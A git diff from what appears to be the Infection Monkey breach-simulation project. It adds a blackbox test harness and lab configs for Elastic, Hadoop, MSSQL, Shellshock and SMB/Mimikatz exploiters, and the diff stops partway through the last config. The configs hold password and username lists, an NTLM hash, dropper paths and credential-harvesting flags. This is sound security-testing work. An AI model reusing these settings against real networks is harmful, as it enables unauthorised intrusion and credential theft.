diff --git a/.travis.yml b/.travis.yml index 963c37fc6..b14482939 100644 --- a/.travis.yml +++ b/.travis.yml @@ -3,12 +3,6 @@ language: python cache: pip python: - 2.7 - - 3.6 -matrix: - include: - - python: 3.7 - dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069) - sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069) install: #- pip install -r requirements.txt - pip install flake8 # pytest # add another testing frameworks later diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2744fac11..035eb0124 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -2,11 +2,13 @@ Thanks for your interest in making the Monkey -- and therefore, your network -- a better place! -Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues). +Are you about to report a bug? Sorry to hear it. Here's our +[Issue tracker](https://github.com/guardicore/monkey/issues). Please try to be as specific as you can about your problem; try to include steps to reproduce. While we'll try to help anyway, focusing us will help us help you faster. -If you want to contribute new code or fix bugs.. +If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the +maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk). ## Submitting code @@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c * **Don't** leave your pull request description blank. * **Do** license your code as GPLv3. -Also, please submit PRs to the develop branch. +Also, please submit PRs to the `develop` branch. + +#### Unit tests +**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same +filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`. + +Please try to read some of the existing unit testing code, so you can see some examples. + +#### Branch naming scheme +**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example, +`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`. ## Issues * **Do** write a detailed description of your bug and use a descriptive title. diff --git a/README.md b/README.md index 6ab6813ce..67b5b2e8b 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to * Multiple exploit methods: * SSH * SMB - * RDP * WMI * Shellshock * Conficker diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 92a2fd76e..10027edce 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -13,9 +13,10 @@ Don't forget to add python to PATH or do so while installing it via this script. ## Linux -You must have root permissions, but there is no need to run the script as root.
+You must have root permissions, but don't run the script as root.
Launch deploy_linux.sh from scripts directory.
-First argument is an empty directory (script can create one) and second is branch you want to clone. +First argument should be an empty directory (script can create one, default is ./infection_monkey) and second is the branch you want to clone (develop by default). +Choose a directory where you have all the relevant permissions, for e.g. /home/your_username Example usages:
./deploy_linux.sh (deploys under ./infection_monkey)
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)
diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index 24a8d3322..07be64612 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so" # Other directories and paths ( most likely you dont need to configure) $MONKEY_ISLAND_DIR = "\monkey\monkey_island" $MONKEY_DIR = "\monkey\infection_monkey" -$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner" +$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner" $PYTHON_DLL = "C:\Windows\System32\python27.dll" $MK32_DLL = "mk32.dll" $MK64_DLL = "mk64.dll" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 81d6e6732..4df8ba114 100644 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -81,8 +81,7 @@ wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL} # Allow them to be executed chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" -chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME" -chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME" + # Get machine type/kernel version kernel=`uname -m` @@ -130,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error # Build samba log_message "Building samba binaries" sudo apt-get install gcc-multilib -cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner +cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner sudo chmod +x ./build.sh || handle_error ./build.sh diff --git a/envs/__init__.py b/envs/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/envs/monkey_zoo/.gitignore b/envs/monkey_zoo/.gitignore new file mode 100644 index 000000000..333c1e910 --- /dev/null +++ b/envs/monkey_zoo/.gitignore @@ -0,0 +1 @@ +logs/ diff --git a/envs/monkey_zoo/__init__.py b/envs/monkey_zoo/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/envs/monkey_zoo/blackbox/README.md b/envs/monkey_zoo/blackbox/README.md new file mode 100644 index 000000000..f1b66de91 --- /dev/null +++ b/envs/monkey_zoo/blackbox/README.md @@ -0,0 +1,19 @@ +# Automatic blackbox tests +### Prerequisites +1. Download google sdk: https://cloud.google.com/sdk/docs/ +2. Download service account key for MonkeyZoo project (if you deployed MonkeyZoo via terraform scripts then you already have it). +GCP console -> IAM -> service accounts(you can use the same key used to authenticate terraform scripts) +3. Deploy the relevant branch + complied executables to the Island machine on GCP. + +### Running the tests +In order to execute the entire test suite, you must know the external IP of the Island machine on GCP. You can find +this information in the GCP Console `Compute Engine/VM Instances` under _External IP_. + +#### Running in command line +Run the following command: + +`monkey\envs\monkey_zoo\blackbox>python -m pytest --island=35.207.152.72:5000 test_blackbox.py` + +#### Running in PyCharm +Configure a PyTest configuration with the additional argument `--island=35.207.152.72` on the +`monkey\envs\monkey_zoo\blackbox`. diff --git a/envs/monkey_zoo/blackbox/__init__.py b/envs/monkey_zoo/blackbox/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/envs/monkey_zoo/blackbox/analyzers/__init__.py b/envs/monkey_zoo/blackbox/analyzers/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py b/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py new file mode 100644 index 000000000..f97418813 --- /dev/null +++ b/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py @@ -0,0 +1,17 @@ +LOG_INIT_MESSAGE = "Analysis didn't run." + + +class AnalyzerLog(object): + + def __init__(self, analyzer_name): + self.contents = LOG_INIT_MESSAGE + self.name = analyzer_name + + def clear(self): + self.contents = "" + + def add_entry(self, message): + self.contents = "{}\n{}".format(self.contents, message) + + def get_contents(self): + return "{}: {}\n".format(self.name, self.contents) diff --git a/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py new file mode 100644 index 000000000..491b534b8 --- /dev/null +++ b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py @@ -0,0 +1,24 @@ +from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog + + +class CommunicationAnalyzer(object): + + def __init__(self, island_client, machine_ips): + self.island_client = island_client + self.machine_ips = machine_ips + self.log = AnalyzerLog(self.__class__.__name__) + + def analyze_test_results(self): + self.log.clear() + all_monkeys_communicated = True + for machine_ip in self.machine_ips: + if not self.did_monkey_communicate_back(machine_ip): + self.log.add_entry("Monkey from {} didn't communicate back".format(machine_ip)) + all_monkeys_communicated = False + else: + self.log.add_entry("Monkey from {} communicated back".format(machine_ip)) + return all_monkeys_communicated + + def did_monkey_communicate_back(self, machine_ip): + query = {'ip_addresses': {'$elemMatch': {'$eq': machine_ip}}} + return len(self.island_client.find_monkeys_in_db(query)) > 0 diff --git a/envs/monkey_zoo/blackbox/conftest.py b/envs/monkey_zoo/blackbox/conftest.py new file mode 100644 index 000000000..13aabf5b6 --- /dev/null +++ b/envs/monkey_zoo/blackbox/conftest.py @@ -0,0 +1,11 @@ +import pytest + + +def pytest_addoption(parser): + parser.addoption("--island", action="store", default="", + help="Specify the Monkey Island address (host+port).") + + +@pytest.fixture(scope='module') +def island(request): + return request.config.getoption("--island") diff --git a/envs/monkey_zoo/blackbox/island_client/__init__.py b/envs/monkey_zoo/blackbox/island_client/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py new file mode 100644 index 000000000..948b58310 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py @@ -0,0 +1,18 @@ +import json +import os + + +class IslandConfigParser(object): + + def __init__(self, config_filename): + self.config_raw = open(IslandConfigParser.get_conf_file_path(config_filename), 'r').read() + self.config_json = json.loads(self.config_raw) + + def get_ips_of_targets(self): + return self.config_json['basic_network']['general']['subnet_scan_list'] + + @staticmethod + def get_conf_file_path(conf_file_name): + return os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), + "island_configs", + conf_file_name) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py new file mode 100644 index 000000000..479c41bab --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -0,0 +1,87 @@ +from time import sleep +import json + +import logging +from bson import json_util + +from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests + +SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5 +MONKEY_TEST_ENDPOINT = 'api/test/monkey' +LOG_TEST_ENDPOINT = 'api/test/log' +LOGGER = logging.getLogger(__name__) + + +def avoid_race_condition(func): + sleep(SLEEP_BETWEEN_REQUESTS_SECONDS) + return func + + +class MonkeyIslandClient(object): + def __init__(self, server_address): + self.requests = MonkeyIslandRequests(server_address) + + def get_api_status(self): + return self.requests.get("api") + + @avoid_race_condition + def import_config(self, config_contents): + _ = self.requests.post("api/configuration/island", data=config_contents) + + @avoid_race_condition + def run_monkey_local(self): + response = self.requests.post_json("api/local-monkey", dict_data={"action": "run"}) + if MonkeyIslandClient.monkey_ran_successfully(response): + LOGGER.info("Running the monkey.") + else: + LOGGER.error("Failed to run the monkey.") + assert False + + @staticmethod + def monkey_ran_successfully(response): + return response.ok and json.loads(response.content)['is_running'] + + @avoid_race_condition + def kill_all_monkeys(self): + if self.requests.get("api", {"action": "killall"}).ok: + LOGGER.info("Killing all monkeys after the test.") + else: + LOGGER.error("Failed to kill all monkeys.") + assert False + + @avoid_race_condition + def reset_env(self): + if self.requests.get("api", {"action": "reset"}).ok: + LOGGER.info("Resetting environment after the test.") + else: + LOGGER.error("Failed to reset the environment.") + assert False + + def find_monkeys_in_db(self, query): + if query is None: + raise TypeError + response = self.requests.get(MONKEY_TEST_ENDPOINT, + MonkeyIslandClient.form_find_query_for_request(query)) + return MonkeyIslandClient.get_test_query_results(response) + + def get_all_monkeys_from_db(self): + response = self.requests.get(MONKEY_TEST_ENDPOINT, + MonkeyIslandClient.form_find_query_for_request(None)) + return MonkeyIslandClient.get_test_query_results(response) + + def find_log_in_db(self, query): + response = self.requests.get(LOG_TEST_ENDPOINT, + MonkeyIslandClient.form_find_query_for_request(query)) + return MonkeyIslandClient.get_test_query_results(response) + + @staticmethod + def form_find_query_for_request(query): + return {'find_query': json_util.dumps(query)} + + @staticmethod + def get_test_query_results(response): + return json.loads(response.content)['results'] + + def is_all_monkeys_dead(self): + query = {'dead': False} + return len(self.find_monkeys_in_db(query)) == 0 diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py new file mode 100644 index 000000000..e62cb2121 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -0,0 +1,49 @@ +import requests + +# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' +import logging + +NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \ + '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557' +LOGGER = logging.getLogger(__name__) + + +class MonkeyIslandRequests(object): + def __init__(self, server_address): + self.addr = "https://{IP}/".format(IP=server_address) + self.token = self.try_get_jwt_from_server() + + def try_get_jwt_from_server(self): + try: + return self.get_jwt_from_server() + except requests.ConnectionError as err: + LOGGER.error( + "Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr)) + assert False + + def get_jwt_from_server(self): + resp = requests.post(self.addr + "api/auth", + json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS}, + verify=False) + return resp.json()["access_token"] + + def get(self, url, data=None): + return requests.get(self.addr + url, + headers=self.get_jwt_header(), + params=data, + verify=False) + + def post(self, url, data): + return requests.post(self.addr + url, + data=data, + headers=self.get_jwt_header(), + verify=False) + + def post_json(self, url, dict_data): + return requests.post(self.addr + url, + json=dict_data, + headers=self.get_jwt_header(), + verify=False) + + def get_jwt_header(self): + return {"Authorization": "JWT " + self.token} diff --git a/envs/monkey_zoo/blackbox/island_configs/ELASTIC.conf b/envs/monkey_zoo/blackbox/island_configs/ELASTIC.conf new file mode 100644 index 000000000..0a81ea700 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/ELASTIC.conf @@ -0,0 +1,184 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "exploit_user_list": [ + "Administrator", + "root", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 2, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.4", + "10.2.2.5" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "ElasticGroovyExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf b/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf new file mode 100644 index 000000000..1b55557a9 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf @@ -0,0 +1,186 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "exploit_user_list": [ + "Administrator", + "root", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 2, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.3", + "10.2.2.10" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "HadoopExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [ + "e1c0dc690821c13b10a41dccfc72e43a" + ], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/island_configs/MSSQL.conf b/envs/monkey_zoo/blackbox/island_configs/MSSQL.conf new file mode 100644 index 000000000..dc3332ed6 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/MSSQL.conf @@ -0,0 +1,183 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!", + "Xk8VDTsC", + "password", + "12345678" + ], + "exploit_user_list": [ + "Administrator", + "m0nk3y", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 2, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.16" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "MSSQLExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf b/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf new file mode 100644 index 000000000..7fd857e65 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf @@ -0,0 +1,183 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "exploit_user_list": [ + "Administrator", + "root", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 2, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.38" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "ShellShockExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "rdp_grinder": { + "rdp_use_vbs_download": true + }, + "sambacry": { + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ], + "sambacry_trigger_timeout": 5 + }, + "smb_service": { + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey" + } + }, + "internal": { + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "dropper": { + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [] + }, + "general": { + "keep_tunnel_open_time": 1, + "monkey_dir_name": "monkey_dir", + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" + }, + "kill_file": { + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not" + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + } + }, + "monkey": { + "behaviour": { + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "self_delete_in_cleanup": true, + "serialize_config": false, + "use_file_logging": true + }, + "general": { + "alive": true, + "post_breach_actions": [] + }, + "life_cycle": { + "max_iterations": 1, + "retry_failed_explotation": true, + "timeout_between_iterations": 100, + "victims_max_exploit": 7, + "victims_max_find": 30 + }, + "system_info": { + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true + } + }, + "network": { + "ping_scanner": { + "ping_scan_timeout": 1000 + }, + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf b/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf new file mode 100644 index 000000000..b5001025f --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf @@ -0,0 +1,182 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "Password1!", + "Ivrrw5zEzs" + ], + "exploit_user_list": [ + "Administrator", + "m0nk3y", + "user" + ] + }, + "general": { + "should_exploit": true + } + }, + "basic_network": { + "general": { + "blocked_ips": [], + "depth": 2, + "local_network_scan": false, + "subnet_scan_list": [ + "10.2.2.44", + "10.2.2.15" + ] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "cnc": { + "servers": { + "command_servers": [ + "10.2.2.251:5000" + ], + "current_server": "10.2.2.251:5000", + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ] + } + }, + "exploits": { + "general": { + "exploiter_classes": [ + "SmbExploiter" + ], + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "remote_user_pass": "Password1!", + 